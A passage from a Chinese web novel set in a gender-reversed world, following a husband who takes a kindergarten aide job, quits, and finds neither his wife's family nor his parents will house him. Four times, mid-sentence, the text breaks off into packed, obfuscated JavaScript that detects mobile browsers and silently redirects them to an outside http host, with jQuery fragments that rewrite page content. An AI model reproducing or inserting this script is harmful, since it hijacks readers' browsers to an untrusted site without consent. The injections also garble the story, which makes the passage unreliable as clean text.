“这也是正常的，”田园安慰着方明辉，他比方明辉大几岁，在没结婚之前也工作过一小段时间“公司本来就不喜欢有空窗期的员工，更何况这个空窗期是因为结婚生子，男人婚后要照顾孩子，哪有那么多精力花在工作上？人家公司不想要，也很正常。” “那女人呢？”方明辉有些不服气“女人明明也得生孩子，为什么公司就不排斥她们？” “女人生孩子是为人类延续，社会稳定做贡献，更何况生孩子这样大的事，母亲都能挺过去，更能证明女人的坚毅和勇敢。”田园觉得方明辉总有些奇怪的想法，生孩子是必须由女人来做的大事，怎么能和照顾孩子这种人人都会的事相提并论？ “……你为什么要实话实说呢？”田园还是有点儿求职经验的，他提议“其实你可以隐瞒自己的婚育情况，找个别的理由掩盖空窗期，当然了，要找那种不做背调的小公司，不然还是很容易露馅的。” “……原来是这样！”方明辉打开了新世界的大门，虽然这样找到的工作不算太好，但起码有了不是？ “我再帮你看看简历，”田园笑着将方明辉的简历拿过来，眉头轻轻拢起“你大学学的是哲学？” 方明辉点头，那会儿他还没穿来，这件事倒不是他能控制的。 “这……有点儿不好办啊，”田园摇摇头“虽说文科专业都不太好找工作，但哲学……” 哲学属于基本没有一点儿用途，学了约等于白学的专业。 “你是什么专业毕业的？”方明辉带着几分好奇的反问。 “汉语言，”田园笑了笑，说话时也没什么波澜“其实我上高中的时候理科成绩比较好，但男孩子还是更适合学文科一些，所以我就选了文科。” “明明男人更适合学理科才对吧？”方明辉反驳了一句。 “嗯……家里人总觉得学文科的男人更柔顺安静些，工作也体面。”田园不置可否“阿辉，现在看来你只能做些不挑专业的工作了，这种工作……工资通常不会很高。” 毕竟方明辉是普通本科毕业，专业冷门不说，毕业就结婚还有了孩子，这样的情况，能找到份工作已经算烧高香了，更别说旁的。 方明辉也知道自己找不到什么好工作，但他还是坚持要去，挑挑拣拣，最终找到了一份保育员的工作，工资不高，位置也偏，却是他目前能做的最合适的工作了。 “方先生，你是第一次来我们幼儿园吧？”年过五旬，头发半白的园长介绍着园里的员工“我们园一共有五名老师，一名厨师，一名保育员，哦，等方先生加入，我们就有两名保育 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125222|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员了。” 保育员不负责授课，只是生活辅助老师，门槛相对较低，工资也很少，虽然园长觉得这个衣着光鲜的方老师应该干不了多长时间，但看在对方工资要的足够少的份上，园长还是忍了。 方明辉点头，又个园中的其他人一一打招呼，幼儿园里除了院长和厨师以外的职员都是男人，这倒是让他满意了几分。 和方明辉职位相同的保育员负责带他，对方是个热心肠，才一上午的时间，就把园中的情况和他说的差不多了，包括几位老师的婚育情况，方明辉现在都一清二楚。 “……你为什么要跟我说这个？”方明辉有些不耐烦，自从他出来找工作，好像每个人都非常在乎他是否结婚有孩子“这和我们的工作没什么关系吧？” “嘿，聊八卦嘛。”名叫丁布的保育员随口说道“你知道的，男人一旦成家带孩子，就很难出来工作，你的上一个保育员就是因为家里有人怀孕而辞职了。” 方明辉没有说话，丁布却说的起劲，他偷偷指了一下最年轻的幼儿园老师说道“你看他，下个月就要结婚了，结婚对象是我们幼儿园孩子的母亲，听说那个女人的家族挺有钱的，我估计啊，他也快辞职了。” “别人再有钱，那也是别人的，”方明辉没想到，有朝一日自己也能说出这种话来“指望着别人养，倒不如自食其力。” “话虽然是这么说的，但谁不想过舒坦日子，”丁布颇有些不以为然“你别看我们这个园小，学员可不少，又忙又累，一整天下来腰酸腿疼的，要是进了大家族，每天什么都不用干，那才是神仙日子呢。” “进了大家族也不是那么轻松的，”方明辉缓缓摇头，回想起自己每天的生活“为了彰显孝心，每天至少要做一顿饭，早饭时间固定，哪怕没事也得早起，如果怀孕生子那就更惨了，虽然大家族有钱顾得起佣人，但这种家族最信奉父亲能让孩子有安全感那一套，大多数活计还得自己做。” “就这些也不是不能接受吧？”丁布想了一会儿“我这个没出门的在家也得做饭做家务，还没钱拿，嫁入大家族就当是上班呗，忍一忍，换的后半辈子的荣华富贵。” 方明辉刚想再说什么，幼儿园的孩子就开始哭闹起来，丁布连忙上去哄，方明辉这个新来的也忙个不停，直到晚上孩子都被家长接走，方明辉才算坐下歇了一会儿。 “累了吧？”丁布拍拍方明辉的肩膀“我看你干活挺利索的，家里有孩子？” “没有！”方明辉下意识否认“我……” “阿辉，”姚善从园外走来，又对丁布笑了笑才说道“阿辉，你怎么来这儿了？要不是田园跟我说，我都不知道你出来了。” “嗯……我自己一个人也能回去，不用来接我，”方明辉回答的含含糊糊，就在刚才，他竟然有种被抓包了的感觉“我一会儿就下班了。” 70. 第8章 “阿辉，”丁布拧着身子往方明辉身边凑“就是那个，昨天接你的女人，是你什么人啊？” “……你问这个干嘛？”方明辉含糊其辞，他入职的时候说是未婚，现在也不好再说已经结婚了。 “是你的姐妹？亲戚？朋友？”丁布仍旧没有放弃，他不断试探着，眼神里满是探究“该不会是你女朋友吧？” “不是，”方明辉摇头“就是……一个亲戚家的姐妹，和我关系不错，听说我第一天来上班，就过来接我了。” “哇，那你这个亲戚应该挺有钱的吧？”丁布状似不经意的说道“你那个姐妹，浑身名牌还开了个豪车。她结婚了吗？” “结婚了！”方明辉语气不善“你别打她的主意！” “反应这么大干什么？”丁布嘀咕了几句“行了行了，我不问行了吧？话说阿辉你是不是也是有钱人家的少爷啊？我看你虽然没开车，但衣服的料子很好，应该不便宜吧？” “也不是多有钱的人家，只是不穷而已，”方明辉多多少少还是有点儿虚荣心的，他掩饰道“嗯……算是有点儿小钱吧。” “我竟然认识了个小少爷啊！”丁布很是捧场，惊叹道“小少爷，肥水不流外人田，发达了可别忘了我啊。” “好说，好说。”方明辉眼里带着几分得意。 “那个，方小少爷，能不能把你自己的姐妹介绍给我认识认识？”丁布也不装了，直接摊牌“你看，方小少爷你长的这么帅，你的姐妹肯定也不差，这种好女人，不得介绍给兄弟吗？” “……再说吧。”方明辉无言以对，说实话，他对他那几个姐妹根本没有印象，连联系方式都没有，更别说介绍给别人了。 “小气鬼。”丁布小声嘀咕了几句，眼神明显有些闪烁。 丁布不是一个气量很大的人，他虽然做不出什么太过分的事，但也免不得给方明辉找些小麻烦，反正幼儿园的事很多，他这个老员工指使新员工，不是正常的吗？ 被差使了一天的方明辉累的连话都不想说，他脸色难看的检查着家长的接送牌，确认无误后将小孩全部送完才回家，一想到那微薄到连姚家一天菜钱都比不上的月薪，方明辉顿时有种想辞职的冲动。 当然，方明辉第二天还是去上班了，毕竟他当时不顾姚家反对大张旗鼓的找工作，这才干了两天就辞职，也太没面子了些。 屋漏偏逢连夜雨，才到幼儿园，方明辉就被园长叫进办公室骂了一顿，原因是他昨天脸色难看，有孩子家长投诉了他。 园长一看是实习工出了问题，立刻火冒三丈，他呵斥道“方明辉你能干就干，不能干有的是人干，整天拉着一张臭脸干什么？显得你有能耐吗？” “……” 方明辉沉默以待，却暗自攥紧了拳头，他不明白一个实习工资两千六，正式工资三千四的岗位，为什么要憋这种气？还微笑服务，他这工资还能笑得出来？ 不管怎么说，方明辉是不敢当面反驳的，他虽然打工经验不足，但也不是傻子，这次要是驳了园长的面子，那他可真要走人了。 “没事吧？”园中最年长的员工，司文司老师拍了拍方明辉的肩膀“园长最近在和她老公闹离婚，脾气大的很，你就不要和他计较了。” “没事，”方明辉勉强压下火气，强迫自己转移注意力“话说园长都这么大岁数了，还离婚？” “唉，这事儿说来也是……”司老师坐在方明辉旁边想了想“也是园长造孽啊。” “怎么说？”听司老师这么说，方明辉反倒提起了些精神。 “也不是什么稀罕事，”司老师瞥了一眼园长室的位置“你别看我们这个幼儿园小，钱可没少挣，园长虽然不是什么大富豪，但也算是个有钱人了。” “有钱人嘛，总想着找两个年轻漂亮的小男人，而园长的老公我见过，和园长年纪差不多，长相挺普通，矮胖，干活利落，对园长也不错，唯一的缺点就是不够漂亮。” “竟然还有这种事！”方明辉讶然开口。 “是啊，”司老师叹了一口气“放在平常人家，也就多娶一个小的，但园长的家族比较倒霉，她们正好是三姐妹，按照法律只能娶一个，想找个小的，不就得把老的踢出去了吗？” “园长的老公和孩子同意了吗？”方明辉皱起眉头“园长都一把年纪了，她的孩子也不知道劝劝？” “园长的孩子，自然是向着园长的，”司老师说这儿时倒很平静“毕竟哪个孩子不向着妈呢？更何况，妈是亲妈，爹可不一定是亲爹。” “你是说，园长给她老公戴绿帽子了？”方明辉差点儿连声音都没压住。 “也不一定，我就是猜猜。”司老师耸耸肩“毕竟男人又没法分辨孩子是不是自己的，而且就算不是又怎样呢？园长也是心狠啊，她丈夫跟了她那么多年，伺候了五个孩子，没有功劳也有苦劳，她竟然想让她丈夫净身出户。她丈夫没有工作，要是真被赶出来，可就惨喽。” “男人还是要有工作的，”方明辉紧紧抿着嘴，庆幸自己没有因为刚才的一时愤怒走人“万一遇到这种情况，也好有个营生。” “谁说不是呢？”司老师点头又摇头“现在这些小年轻，一个比一个浮躁，你上一个保育员就是结婚走的，丁布也是，你看他那整天精心打扮的样子，不就是为了勾搭上女人，好不工作当家庭主夫吗？” 紧接着，司老师又把幼儿园的其他两个男老师也批评了个遍，究其根本，无非是觉得那些老师总是围绕着家庭转，连自己都本职工作都是得过且过，更别说努力提升自己，升职加薪了。 “司老师，你还没成家呢？”方明辉看了对方一眼，有些惊讶，毕竟在这个世界，三十多岁还没成家的男人可不多。 “嗯，成家没什么好的。”司文随意点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136350|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是当老师的，怎么会不知道照顾小孩一天有多少事，如果我老婆有了孩子的话，我可能就要辞掉工作了。” “不能一边工作，一边照顾孩子吗？”方明辉皱着眉头“或者请个育婴师也行啊。” “你还太年轻了，”司老师笑着摇摇头“我们园长抠门的很，我一个月才开四千块钱，请一个育婴师至少要五六千，我挣得还不如请育婴师的钱，到时候，你觉得我家里人能同意吗？” “那就这样耗着？”方明辉有些不赞同司老师的想法“你不结婚也富裕不起来啊？” “至少我的人生不会跌入低谷，”司老师说这话时很平静，他被催过太多次婚，已经习惯了“与其单赢，不如双输。” * “阿辉啊，”丁布笑眯眯的将一堆接送牌塞进方明辉手里“这几天我有点儿忙，你记得仔细核对接送牌，我先走了啊。” 方明心中不满，怎么昨天是他今天也是他？他刚想发火，丁布却已经跑没影了，无奈之下他只好将接送牌与进来接孩子的家长手中的一一核对。 夕阳西下，方明辉拖着疲惫的身躯走在路上，今天有一个家长耽误了时间，他作为保育员又无法离开，等到那家长把孩子接走，天都已经开始擦黑。 走到校门外，方明辉并没有看见姚善的车，他拿出手机给姚善打电话，姚善也没接，无奈之下他只好坐地铁，等到姚家的时候，他感觉自己三魂七魄都已经出窍了。 “阿辉？” 方明辉进门不久以后，姚善也回来了，她笑了笑，温柔的对方明辉说道“怎么在沙发上睡着了？小心着凉。” “你……”方明辉从沙发上弹起来，他其实没睡着，只是太累了而已“你……今天怎么回来的这么晚？” 他本想指责姚善没有去接他，但思来想去，他和姚善本来就没有约定过时间，况且姚善的工作也不算轻松，自然不可能天天接他。 “工作上有些问题，”姚善随手将衣服脱下来搭在手臂上“看来今天我们都累了，早点儿休息吧。” “好。”方明辉话音未落，姚善便转身离开，方明辉重新躺回沙发上，不知道是不是他的错觉，他总感觉今天的姚善虽然语气依旧温柔，却对他不耐烦了很多。 第二天一早，方明辉天还没亮就起来做早饭，然后挤地铁上班，等到站在幼儿园地面上的时候，他感觉自己的双腿像面条一样软，甚至都有些站不住了。 “早啊。”丁布从一辆车上下来，朝方明辉打了声招呼，他脸上带着笑，打扮的也很时髦精神，与因为挤地铁而灰头土脸的方明辉形成强烈对比。 “早，”方明辉无精打采的应了一声，他下意识看了一眼送丁布来的车，感觉这车有点儿眼熟，却也没多想“你平时不都是坐地铁的吗？怎么今天忽然开车了？” “哎呀，那还用说吗？”丁布一脸娇羞“我有女朋友啦！” 71. 第9章 丁布交了女朋友这件事并不让方明辉意外，毕竟之前丁布就有想找个女朋友依靠的意思，只是他也太有效率了些，之前还说要让他介绍，今天就已经谈上了。 不管方明辉是怎么想的，丁布都不太在乎，他心情好的很，甚至在哄孩子的时候都能哼起歌来，也没再找方明辉的麻烦，难得让方明辉渡过了一个还算顺利的上午。 中午吃过饭，小朋友们都在午睡，方明辉也昏昏欲睡，今天本来应该轮到丁布看这群孩子午睡，可丁布上午一过就请假走人了，虽然他没明说，但方明辉觉得丁布八成是跟他女朋友约会去了。 “叮叮叮——” 手机铃声响起，方明辉连忙到走廊上接起，他刚说出一声喂，就听到育婴师在电话里焦急的喊道。 “姚先生！你快回来啊！两个孩子出事了！” “发生什么了？”方明辉立马问道“生病了？送医院了吗？我马上回去！” 还不等育婴师说完，方明辉就立刻挂掉电话向园长办公室冲，虽然对姚家那群女人他没有太多感情，但他自己的孩子他还是心疼的，甚至因为这两个孩子是他亲手带大，他比自己前世的孩子更疼爱几分。 “你也要请假？”园长皱起眉头“小方啊，有什么事你就不能缓一缓？今天丁布已经走了，你要是再走，我们园可就一个保育员都没有了。” “我孩子生病了！”方明辉这时候也顾不得什么园长不园长的了，他直接说道“园长，我现在得请假回去。” “不管你有什么事，上班时间你想走就走想来就来，那还了得？”见方明辉态度强硬，园长也皱起眉头来“小方啊，小孩子生个病很正常，你家应该还有其他人吧？让她们送孩子去医院不就得了，你还在实习期，老是请假不好。” 方明辉此时心急如焚，他知道姚熠和姚玖是指望不上了，他立刻打电话给姚善，却听到姚善说她临时有事，在隔壁市不能赶回来。 想了半天，方明辉都没想出一个能帮自己的人，他反复翻找着联系人，最终给自己在这个世界的父亲拨了过去。 “喂？” “爸，是我！”方明辉迫不及待的开口“爸，我的孩子生病了，你现在去姚家，带两个孩子去医院。” “……阿辉啊，”方父似乎没反应过来，过了一会儿才慢慢说道“我最近也忙得很，你的姐妹们要结婚了，不如你找别人吧。” “爸，就连这么点儿小事你也不帮我？”方明辉气的直发颤“我还是你亲儿子吗？” “你小子说什么呢？”听到方明辉这么说话，方父心里有些不悦“我把你养到这么大，你就说这种话？你也太没良心了，行了，反正你已经入了姚家，就找你公公去帮你吧！” “爸，爸！”方明辉又叫了几声，电话另一头传来一阵忙音，显然对方已经把电话给挂了。 “园长，我家里实在没人有时间。”稍稍冷静了些后，方明辉再一次敲响园长办公室的大门“能不能就宽恕我这一次，家里实在没办法，孩子还小，离不开人。” “小方啊，”园长喝了一口茶，慢悠悠的说道“我记得你入园的时候，我问过你结婚了吗？你说没结婚也没孩子，现在怎么就多出了个孩子呢？你怕不是在耍我吧？” “对不起园长，”方明辉一愣，他没想到园长会提起这件事“当初我怕我们这儿不招已婚的员工，所以就……隐瞒了我的婚姻情况。” “原则上，我们园没有已婚男人不能入职的规定，但我的确不喜欢招男人。”园长给方明辉倒了一杯茶，又示意方明辉坐下说“毕竟男人要负责照顾孩子，要是结婚了，免不得会有孩子，这三番两头的请假，我这个园长也不容易啊。” “大不了我今天的工资不要了！”方明辉急的团团转，哪有闲心坐下喝茶“我告诉你，我今天必须走！” “行，”园长一听方明辉这么说，就没有再装出一幅和善面孔“你可以走，但走了就别回来！” “不干就不干！”方明辉怒火中烧，他直接扯下工牌扔在园长面前“我还不稀罕这破工作呢！” 说完，方明辉直接往外走，等他匆匆赶回家，又急忙将孩子送进医院输液以后，他才开始觉得后悔，毕竟这份工作虽然算不上好，却也是他自己努力了这么久找来的，或许他不应该这么冲动，直接把工作给辞了。 折腾了大半天，夕阳西下的时候方明辉才带着两个孩子回到家，可到姚家以后，等待他的并不是关心，而是兴师问罪。 “两个孩子，被你照顾成了这样，才半个多月就又生病了，你是怎么当父亲的？”姚熠语气冷漠“从今天开始你别去上班了，专心照顾好孩子，你挣的那一点钱还不够孩子每月喝奶粉，去又有什么用？” “我挣得多挣的少关你什么事？”方明辉下意识反驳“至于孩子……我以后多留心一点儿不就行了，你至于这么兴师动众吗？” “这些事别让我说第二次，”姚熠语气冷漠，她说的这些话可不是商量“还有，明天姜维要住进来，你如果再做出一副小家子气的模样，就滚出去。” “姜维？！”方明辉当然知道姜维是谁，毕竟那时候他刚结婚，姜维就给他戴了绿帽子“不行！他凭什么住在这儿？” “房子是我姚家的，我说给谁住，就给谁住。”姚熠斜睨了方明辉一眼，彻底没了耐心“光着身子进来的人，有什么权利对主人家说三道四。” 这话说的属实难堪，方明辉直接摔门而去，姚熠看了他一眼，也不理会，毕竟她知道，方明辉身上没钱，最多闹个几天，就回来了。 冲出家门以后，方明辉不知道该去哪儿，他只好漫无目的的在小区里走，看着周围阖家欢乐的场景，心中忍不住生出些许悔意。 如果他没遇见眠云，没提出想要十个漂亮老婆就好了，那样的话，或许他还会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140599|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守着胡燕这个不够漂亮的女人，过平淡安稳的日子，家里的一切大小事务他都不用操心，房子也是他的，根本不可能被人赶出去。 虽然他现在有十个老婆，老婆的家世还很显赫，他好像是撞了大运，一夜暴富，可实际上他却什么都没有。 老婆心不是他的，人也不是，老婆娘家的财产更不是，就连他每日栖身的房子，他都没有居住的权利，人家说赶，就直接把他赶出来了。 不过……也不完全是这样，在这个世界还是有人真心待他的。 方明辉想起了姚善，那个温柔体贴的女人，她和年轻时的胡燕有几分相似，却更漂亮，身份也更光鲜，这样一个人，真的很难不让人心动，如果是她有孩子的话，一定会亲自照顾孩子的吧？ 不管怎样，方明辉都没有再待在这里的颜面，他站在路边打车去一家小旅馆睡了一晚，小旅馆的环境很差，但他没得挑，毕竟他只有不到一千块钱，花完就没有了。 第二天一早，方明辉起身去了幼儿园，他现在实在很需要钱，找一份工作又很难，还是忍一忍，去求求园长吧。 “姚善，谢谢你送我过来。” 方明辉还没走进园门，就听到了熟悉的名字，他下意识抬头，却看到两个他并不陌生的人依偎在一起。 男的他很熟悉，是他的同事丁布，和他有点不对付，女的他更熟悉，正是他日思夜想的姚善。 “这没什么，”姚善笑了笑，她还是一如既往的温婉，善解人意“你快去上班吧，去晚了，可是要被园长骂的。” “好，”丁布喜滋滋的应着，他忽然在姚善侧脸上偷亲了一口，随后又笑道“谢谢女朋友。” 姚善没有说话，只是摆摆手，开车离开，方明辉躲在树后，直到彻底看不到两人的身影，他才从树后面出来。 为什么……为什么要这样对他？ 方明辉满脸失魂落魄，他想起最近姚善对他的确不如以前那么好了，他好几次给姚善打电话，姚善都找借口没来，难道那个时候，姚善和丁布就已经勾搭上了吗？ 方明辉最终还是没有勇气去质问，他甚至不敢进幼儿园，因为他害怕看到丁布满面春风的向他炫耀女朋友如何好。 彻底放弃工作，离开幼儿园，甚至没去要自己这些天工资的方明辉感觉前所未有的空茫，他现在应该去哪儿？干什么？ 回姚家？不，他死都不想回去，难道真要他和别人共侍一妻？ 去朋友家？他只有一个朋友，就是田园，可田园就住在姚家隔壁，这样和回姚家有什么区别？ 回家？ 对了！ 方明辉猛然想起，他在这个世界还有父母，还有家啊，他为什么不回家住呢？那里虽然比不上姚家豪华，却也比小旅馆强多了。 怀着一点儿隐蔽的期待和高兴，方明辉回到了方家，没想到他刚回家，就被里面的人吓了一跳。 72. 第10章 “阿辉啊，”见到方明辉，方父脸上的笑容有些僵硬“你怎么回来了？” “我回来看看，”方明辉不好意思说没地方住，只好含糊道“爸，今天要来客人了？” 平时这个时候，应该只有方父在家才对，可今天方父、方母，他的几个姐妹都在，怎么看都觉得不同寻常。 “嗯……你出门了，你的姐妹年纪也不小，该相看人家了，”方父有些尴尬的让方明辉坐下“一会儿那家人就要过来，要不你先上楼去待着吧？” “我上楼干嘛？”方明辉有些不高兴“怎么，我有什么见不得人的，还能给你们丢脸不成？” “那倒不是，你这孩子净会多想。”见方明辉不高兴了，方父连忙解释“你毕竟是结了婚的，坐在这儿多不好，万一人家想多了怎么办？” “有什么不好的？！能想多什么？！” 方明辉最近已经快要被逼疯了，他高喊道“连你们也嫌弃我？” “你有病吧！”方家最小的女儿方应月可没那么好的脾气，她直接瞪了方明辉一眼“你已经出门，就不是方家人了，少赖在方家，万一人家过来看到你在，误会我们方家家风不正怎么办？” “我凭什么不能待在方家？这是我爸妈！”方应月的话成了压倒骆驼的最后一根稻草，方明辉拍案而起，指着方父方母说道“爸、妈，难道你们也想赶我走？” “阿辉，你别闹了，推己及人，你自己在姚家愿意遇到你妻子的兄弟吗？”方父眼神里透露出无奈“你看，哪怕是姚家那种大家族，都得守规矩，更别提我们这种不显赫的人家了。” “姚家有儿子？”方明辉愣了一下“我怎么从来都没见过？她们家不是只有十个女儿吗？” 准确来说，方明辉连听都没听过姚家有儿子这件事，没有任何人提起，包括姚家老一辈。 “姚家有三个儿子，只是都出门了而已。”方父的眼神有些痛惜“儿子出了门，就是别人家的人，若总是回家，是会被人嘲笑的。” 不知是因为刚得知了姚家有儿子这个消息，还是因为自己亲人说的话，方明辉罕见的沉默了下来，一言不发的往自己房间走去。 “哎，等等！”方父连忙拉住方明辉“你先去客房住吧，你以前的房间……改成杂物间了，没法住人的。” “……你就这么迫不及待的想把我赶走？”方明辉苦笑，他原本以为自己和这个便宜父亲的关系还不错，原来他就这么不招人待见吗？ “儿子大了，都是要出门的。”方父的眼神有一点愧疚，更多的却是理所当然“你出门以后又不能总回家住，房间空着也是空着，你总不能不让别人住吧，你也太自私了。” “爸，在你们心里，我算什么？”方明辉忍不住问道“是不是我一离开这个家，就是亲戚，是客人，却不是您儿子了。” “……” 方父沉默良久，长叹一声，最后说道“都是这样的，你爷爷是这样，你父亲是这样，将来你也会是这样。” 从来如此的东西，谁会去考虑对错，况且对又如何，错又如何？ 这里的家家户户都把出了门的儿子当外人对待，或许方父有想过要好好对自己的儿子，可他一个家庭主夫，不挣钱又没什么家庭地位，凡事都要仰赖方母，即使有心待自己的儿子好些，又能怎么样呢？ “明天你就回姚家吧，”方父没有看方明辉，只给他留下了一个背影“你是姚明辉，这里不是你家，姚家才是。” “不，你错了，”方明辉摇摇头“这里不是我家，我是嫁出去的外人，姚家也不是我家，我是没有血缘关系的外人，我没有家，你也没有，所有男人都没有。” 说完，方明辉不等方父再说什么，就自顾自的出了家门，这里不是能容纳他的地方，他也不会死皮赖脸的不走。 出门以后，方明辉在大街上游荡，不知不觉之间，他又回到了姚家别墅附近，远远看着没有任何异样的别墅，他的心好像被冰块碰了一下，冷到麻木。 “阿辉？” 正打算出门的姚善看到了方明辉，她笑了笑，朝方明辉走过来问道“我一天都没看到你了，你今天怎么这么晚才回来？” “……没什么，”方明辉看着眼前这个熟悉又陌生的人，他不敢相信，怎么会有人这么理直气壮的出轨，又心安理得的到他面前做出温柔贤淑的样子“我只是在想一个问题，你为什么对谁都这么温柔？” 姚善对他温柔体贴，对丁布也关怀备至，为什么每一个人，她都能这样？ “当然是因为我的性格就是这样的，”姚善笑了一下“你今天怎么了，忽然问这么奇怪的问题？” “没什么，”方明辉机械般摇头“你说的对，你的性格就是这样。” 一个人为爱人写诗，可能是出于爱，可一个人给每一个爱人都写诗，那他就是单纯的喜欢写诗。 姚善对他温柔，他以为姚善爱上了他，可实际上，姚善就是那种妥帖的性子，从来不和人发脾气，这与爱不爱无关。 他好像失去了唯一可能爱他的人。 之前姚善和丁布举止亲密，方明辉还想着，不管怎样，姚善还是爱他的。 或许他可以用手段夺回姚善，毕竟丁布也不是什么特别厉害的对手，只要他稍微花些心思，丁布肯定不是他的对手。 但现在，他恍然大悟，他可以轻松战胜丁布，但战胜丁布这件事对他来说没有任何意义，因为姚善既不爱丁布也不爱他，姚善只爱她自己，所谓的温柔，只是一种社交风度而已。 他要怎么办，才能回到过去？ “站在门口做什么？跟我回姚家吧。”姚善笑着牵起他的手“大姐脾气是不好了些，但她也不是故意的，只要阿辉你道个歉，你依旧可以住在姚家。” “……住在姚家？”方明辉木愣愣的问“我为什么要住在姚家？” “因为只有姚家能给你住啊，”姚善笑容和善，语气轻快而俏皮，却让方明辉感觉不寒而栗“除了姚家，你还想住哪儿？” 是啊，除了姚家，他又能去哪儿呢？ 方家巴不得他离开，别说久住了，就算只住一晚，她们也是不情愿的。 他自己又没钱，又没工作，除了姚家，还有哪里能接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148388|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳他？ “你说的对，”方明辉点点头“我和你回去。” “走吧，”姚善笑容满面的牵起方明辉的手“进了姚家，你可就要在里面待一辈子哦。” * “眠云，他以后会怎么样？” 在水幕中看到这一幕的胡燕叹息一声，转头看向眠云。 “就那样啊，”眠云耸耸肩“他以后就会在姚家当家庭主夫，照顾一个又一个可能是他的，也可能是别人的孩子。偶尔他也会像今天这样离家出走，可是他没有钱，没有家人，也担心孩子，所以他很快就会自己把自己哄好，继续和之前一模一样的生活。” “那姚家真的有人爱他吗？”胡燕接着问。 “爱是珍贵的东西，但我明白你的意思，我姑且用喜欢来描述你说的那种感情吧。”眠云摇摇头“姚家人对方明辉的喜欢并不多，在方明辉进门两年后，与姚家更门当户对的姜维就入了姚家，他比方明辉得人心多了。” “当然，意识到这一点以后，方明辉也展开了反击，他选择走贤夫路线，主打一个忍。”眠云笑了一下“他的忍耐多少是有成效的，在他养大了一个又一个孩子以后，姚家人对他也改观了不少，可以说，这是他最受宠的时候。” “也就是说，方明辉的结局还不错？” “当然不是，”眠云垂眸“就像宫斗永远没有冠军一样，方明辉苦熬了十几年终于迎来的曙光，却在短短几个月内被一个年轻男人打败了，这个年轻男人就是后来姚家的第三夫，怎么样，你觉得解气吗？” “一开始我觉得挺解气的，但后来……”胡燕苦笑一声“后来我发现，方明辉现在过的，不就是大多数女人过的日子吗？如果对他来说这是折磨的话，那些被折磨的女人又算什么呢？” “那你同情他？” “轮得到我同情他吗？”胡燕再一次笑了出来，只是这笑容怎么看，怎么悲凉“比起他，我又能好到哪儿去？” “你并不幸运，或者说，当女人的命运被男人掌控时，女人都不会太幸运，毕竟成王败寇，强势的一方夺走更值钱的东西，弱势的一方却只能付出免费的劳动力。” 眠云随手折下一个柳枝，用柳枝向地上的一打，扬起一片灰尘“不过今天我心情好，就送你一份幸运吧。” 随着眠云的话语，尘土渐渐凝聚成了方明辉的模样，胡燕惊讶的看着眼前这一幕，不知该作何反应。 “这不是方明辉，他只是一个人偶。”眠云看了一眼胡燕“人偶撑不了太久，顶多半年就会消失，至于他要怎么用，就看你的了。” “……谢谢，”胡燕抬头，她喝掉了茶杯中最后一点茶，站起来说道“或许我没办法做到很多事，但我会牢记方明辉的经历，女人不是天生就是女人，因为社会不把女人当人看，女人才成了女人。” “方明辉的人偶我会好好利用，我会去挣，然后告诉更多女人去争，因为只有命运掌握在自己手里的时候，女人才是人。” 眠云笑着向胡燕挥手道别，此时已至冬日，周围皆是白茫茫一片，可谁人不知，寒冬过后，便是暖春。 73. 山神旧梦 岐山落了雪，今年雪大，纯白的雪覆盖了土地和树木，让岐山看起来更像是它最原始，也就是眠云刚刚诞生时的模样。 岐山其实并不是山，准确来说，它是位面狭隙中的一个特殊位面，这个位面最开始时空无一物，直到位面的主人诞生，位面才会依照主人的意愿开始变化。 按照人类的时间来算，眠云已经存在了超过千年，如此漫长的时间足够让王朝更迭，历史化为灰烬，但对于不老不死的神来说，时间却是没有意义的，无论千年万年，神明始终俯瞰世间，不为所动。 可大道五十，天衍四九，人遁其一［注］，万事万物皆有变数，而属于眠云的变数，发生在一个极寻常的春天。 六岁的林长青生的极可爱，粉雕玉琢的小脸精致的不得了，眼睛又黑又亮，此时他正在小树林里和他的朋友们一起玩儿捉迷藏，可不知怎的，他找了很久都找不到他的朋友，树林也变得很大很大，大到他怎么也走不出去。 